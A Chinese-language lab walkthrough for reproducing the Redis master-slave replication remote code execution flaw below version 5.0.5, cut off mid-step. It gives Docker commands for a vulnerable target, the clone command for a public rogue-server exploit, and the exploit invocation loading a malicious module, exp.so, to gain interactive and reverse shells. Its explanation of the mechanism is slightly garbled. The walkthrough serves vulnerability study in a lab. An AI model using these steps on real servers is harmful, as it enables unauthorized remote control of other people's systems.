一、漏洞原理
Redis 主从复制机制中,从节点可向主节点请求 “加载外部模块(MODULE LOAD
)” 。当 Redis 版本 <5.0.5 且未限制远程连接 / 认证时,攻击者可伪装成 “从节点”,诱导主节点加载恶意模块(如 exp.so
)。恶意模块注入后,攻击者就能执行任意系统命令,实现远程控制。
二、环境准备
(一)靶机环境搭建(模拟漏洞环境)
-
拉取漏洞版本镜像 用 Docker 快速部署 Redis <5.0.5 环境(无 Docker 需先安装):
docker pull damonevking/redis5.0
-
启动靶机容器 映射 6379 端口,暴露给攻击机访问:
docker run -d -p 6379:6379 damonevking/redis5.0 redis-server
(二)攻击机环境准备
-
工具依赖安装 攻击机需 Python3、Git 环境(Kali 默认已装),克隆漏洞利用脚本:
git clone https://github.com/n0b0dyCN/redis-rogue-server.git && cd redis-rogue-server
-
确认恶意模块 脚本目录内需有
exp.so
(Redis 恶意模块,用于执行系统命令,脚本默认自带或需自行编译 )。
三、漏洞复现流程
(一)攻击机:启动漏洞利用脚本
在 redis-rogue-server
目录执行命令,伪装成 “从节点” 攻击靶机:
python3 redis-rogue-server.py --rhost 192.168.226.154 --lhost 192.168.226.133 --exp=exp.so
-
--rhost
:靶机 IP(主节点 Redis 地址 ) -
--lhost
:攻击机 IP(伪造从节点,用于接收反向连接 ) -
--exp
:指定恶意模块exp.so
,诱导主节点加载
(二)攻击机:
1. 交互式 Shell([i]nteractive shell
)
输入 i
进入交互式 Shell,直接在脚本内执行命令。
2. 反向 Shell([r]everse shell
)
在脚本终端输入 r
,设置攻击机 IP 和监听端口: